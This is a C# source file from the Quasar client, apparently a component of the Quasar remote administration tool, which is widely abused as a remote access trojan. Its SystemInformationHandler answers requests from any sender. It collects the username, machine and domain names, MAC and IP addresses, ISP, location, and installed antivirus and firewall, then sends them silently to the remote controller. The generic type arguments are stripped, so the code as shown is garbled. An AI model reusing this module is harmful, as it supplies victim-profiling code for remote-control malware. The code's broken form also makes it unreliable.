using Quasar.Client.Helper; using Quasar.Client.IpGeoLocation; using Quasar.Client.User; using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Collections.Generic; using System.IO; using System.Net.NetworkInformation; using Quasar.Client.IO; namespace Quasar.Client.Messages { public class SystemInformationHandler : IMessageProcessor { public bool CanExecute(IMessage message) => message is GetSystemInfo; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { switch (message) { case GetSystemInfo msg: Execute(sender, msg); break; } } private void Execute(ISender client, GetSystemInfo message) { try { IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; var geoInfo = GeoInformationFactory.GetGeoInformation(); var userAccount = new UserAccount(); List> lstInfos = new List> { new Tuple("Processor (CPU)", HardwareDevices.CpuName), new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), new Tuple("Video Card (GPU)", HardwareDevices.GpuName), new Tuple("Username", userAccount.UserName), new Tuple("PC Name", SystemHelper.GetPcName()), new Tuple("Domain Name", domainName), new Tuple("Host Name", hostName), new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), new Tuple("System Directory", Environment.SystemDirectory), new Tuple("Uptime", SystemHelper.GetUptime()), new Tuple("MAC Address", HardwareDevices.MacAddress), new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), new Tuple("WAN IP Address", geoInfo.IpAddress), new Tuple("ASN", geoInfo.Asn), new Tuple("ISP", geoInfo.Isp), new Tuple("Antivirus", SystemHelper.GetAntivirus()), new Tuple("Firewall", SystemHelper.GetFirewall()), new Tuple("Time Zone", geoInfo.Timezone), new Tuple("Country", geoInfo.Country) }; client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); } catch { } } } }